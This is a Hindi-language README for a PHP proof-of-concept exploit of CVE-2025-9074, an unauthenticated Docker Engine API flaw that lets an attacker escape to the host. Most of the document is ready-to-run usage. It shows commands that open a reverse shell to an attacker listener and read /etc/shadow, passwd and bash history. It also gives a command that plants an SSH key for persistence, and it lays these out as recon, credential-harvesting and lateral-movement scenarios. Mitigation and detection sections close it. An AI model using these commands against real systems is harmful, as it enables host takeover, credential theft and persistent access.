CVE-2025-9074: डॉकर इंजन API अनधिकृत RCE

गंभीरता: गंभीर | CVSS स्कोर: 9.8 (अनुमानित) | प्रभावित संस्करण: Docker Desktop < 4.44.3

CVE-2025-9074 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो डॉकर इंजन API में एक अनधिकृत रिमोट कोड निष्पादन (RCE) भेद्यता है जो विशेषाधिकार प्राप्त कंटेनर एस्केप और होस्ट सिस्टम से समझौता करने की अनुमति देता है।

🔴 भेद्यता अवलोकन

CVE-2025-9074 डॉकर डेस्कटॉप में एक गंभीर भेद्यता है जो उचित प्रमाणीकरण या नेटवर्क अलगाव के बिना डॉकर इंजन API को उजागर करती है। यह दूरस्थ हमलावरों को अनुमति देता है:

• उन्नत विशेषाधिकारों के साथ मनमाने आदेश निष्पादित करें
• कंटेनर अलगाव से बचकर होस्ट फाइलसिस्टम तक पहुंचें
• हमलावर-नियंत्रित सिस्टम पर रिवर्स शेल कनेक्शन स्थापित करें
• संपूर्ण कंटेनर होस्ट और अंतर्निहित होस्ट OS से समझौता करें

हमला वेक्टर

• नेटवर्क एक्सपोजर: डॉकर API नेटवर्क इंटरफेस पर उजागर (आमतौर पर पोर्ट 2375/TCP)
• कोई प्रमाणीकरण नहीं: API बिना प्रमाणीकरण के अनुरोध स्वीकार करता है
• विशेषाधिकार प्राप्त कंटेनर: होस्ट फाइलसिस्टम एक्सेस के साथ विशेषाधिकार प्राप्त कंटेनर बनाने की क्षमता
• बाइंड माउंट: बाइंड माउंट पथों के माध्यम से होस्ट फाइलसिस्टम तक सीधी पहुंच

📋 आवश्यकताएँ

• PHP CLI (7.0+)
• PHP में curl एक्सटेंशन सक्षम
• उजागर Docker API एंडपॉइंट के लिए नेटवर्क कनेक्टिविटी
• Docker Desktop < 4.44.3 (भेद्य संस्करण)

लक्ष्य के लिए सिस्टम आवश्यकताएँ

भेद्यता प्रभावित करती है:

• Docker Desktop for Windows < 4.44.3
• Docker Desktop for Mac < 4.44.3
• Docker Engine (जब TLS के बिना उजागर)

🚀 त्वरित प्रारंभ

स्थापना

git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

मूल उपयोग

Docker होस्ट पर एक एकल कमांड निष्पादित करें:

php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

रिवर्स शेल

एक इंटरैक्टिव रिवर्स शेल स्थापित करें:

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 उपयोग गाइड

कमांड सिंटैक्स

php poc.php -u <url> [options]

विकल्प

Option	Short	Required	Description
--url	-u	✅ हाँ	Docker API URL (जैसे, http://1.2.3.4:2375)
--mode	-m	❌ नहीं	निष्पादन मोड: cmd या reverse (डिफ़ॉल्ट: cmd)
--cmd	-c	⚠️ cmd मोड के लिए	लक्ष्य पर निष्पादित करने का कमांड
--lhost	-l	⚠️ reverse मोड के लिए	कॉलबैक के लिए आपका IP पता
--lport	-p	❌ नहीं	आपका सुनने वाला पोर्ट (डिफ़ॉल्ट: 4444)
--os	—	❌ नहीं	लक्ष्य OS: linux, mac, windows (डिफ़ॉल्ट: linux)
--cleanup	—	❌ नहीं	निष्पादन के बाद कंटेनर हटाएं
--help	-h	❌ नहीं	सहायता संदेश प्रदर्शित करें

मोड: कमांड निष्पादन

लक्ष्य पर एकल कमांड निष्पादित करें:

# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

मोड: रिवर्स शेल

कॉलबैक के साथ एक इंटरैक्टिव शेल स्पॉन करें:

php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

OS-विशिष्ट उदाहरण

Linux लक्ष्य

php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows लक्ष्य

php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS लक्ष्य

php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 वास्तविक दुनिया के शोषण परिदृश्य

1. टोही

# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. क्रेडेंशियल हार्वेस्टिंग

# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. स्थायित्व

# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. पार्श्व गति

# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 तकनीकी विवरण

भेद्यता तंत्र

1. एक्सपोज़्ड डॉकर सॉकेट/API: डॉकर API बिना प्रमाणीकरण के 0.0.0.0:2375 पर सुनता है
2. विशेषाधिकार प्राप्त कंटेनर निर्माण: POC /containers/create के माध्यम से विशेषाधिकार प्राप्त कंटेनर बनाता है
3. होस्ट फाइलसिस्टम बाइंडिंग: कंटेनर होस्ट फाइलसिस्टम तक पहुंचने के लिए बाइंड माउंट का उपयोग करते हैं:
   • Linux: :/mnt/hostfs
   • macOS: :/mnt/hostfs
   • Windows: /mnt/host/c:/mnt/hostfs
4. कमांड निष्पादन: कंटेनर के अंदर root/SYSTEM विशेषाधिकारों के साथ कमांड निष्पादित होते हैं
5. होस्ट फाइलसिस्टम एक्सेस: /mnt/hostfs पथों तक सीधी पढ़ने/लिखने की पहुंच

पेलोड प्रवाह

┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

कोड विश्लेषण

• Docker API इंटरैक्शन: HTTP/1.1 REST API संचार के लिए cURL का उपयोग करता है
• Docker Log Demuxing: Docker के मल्टीप्लेक्स्ड स्ट्रीम प्रारूप को ठीक से संभालता है
• क्रॉस-प्लेटफ़ॉर्म समर्थन: Windows/Mac/Linux के लिए बाइंड माउंट पथों को अनुकूलित करता है
• टाइमआउट हैंडलिंग: लंबे समय तक चलने वाले कमांड के लिए 60-सेकंड का टाइमआउट

🛡️ शमन

तत्काल कार्रवाई

1. Docker Desktop अपग्रेड करें

   # Update to version 4.44.3 or later
   

2. नेटवर्क अलगाव

   • Docker API पोर्ट (2375) को केवल localhost तक सीमित करें
   • बाहरी पहुंच को अवरुद्ध करने के लिए फ़ायरवॉल नियमों का उपयोग करें
   • Docker API सॉकेट एक्सपोज़र को अक्षम करें

3. TLS प्रमाणीकरण सक्षम करें

   # Configure Docker daemon with TLS certificates
   # In daemon.json:
   {
     "tlsverify": true,
     "tlscacert": "/etc/docker/ca.pem",
     "tlscert": "/etc/docker/server-cert.pem",
     "tlskey": "/etc/docker/server-key.pem"
   }
   

4. नेटवर्क विभाजन

   • पृथक नेटवर्क पर Docker Desktop चलाएं
   • ज़ीरो-ट्रस्ट नेटवर्क एक्सेस लागू करें
   • दूरस्थ पहुंच के लिए VPN का उपयोग करें

Docker Desktop सेटिंग्स

• Windows/Mac: "Expose daemon on tcp://localhost:2375" को अक्षम करें
• केवल स्थानीय पहुंच के लिए Unix सॉकेट (/var/run/docker.sock) का उपयोग करें
• क्रेडेंशियल के साथ Docker Context के माध्यम से प्रमाणीकरण लागू करें

📊 पहचान

नेटवर्क पहचान

# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

लॉग पहचान

• असामान्य API कॉल के लिए Docker डेमॉन लॉग की निगरानी करें
• विशेषाधिकार प्राप्त कंटेनर निर्माण पर सतर्क करें
• बाइंड माउंट उपयोग पैटर्न ट्रैक करें

⚠️ अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।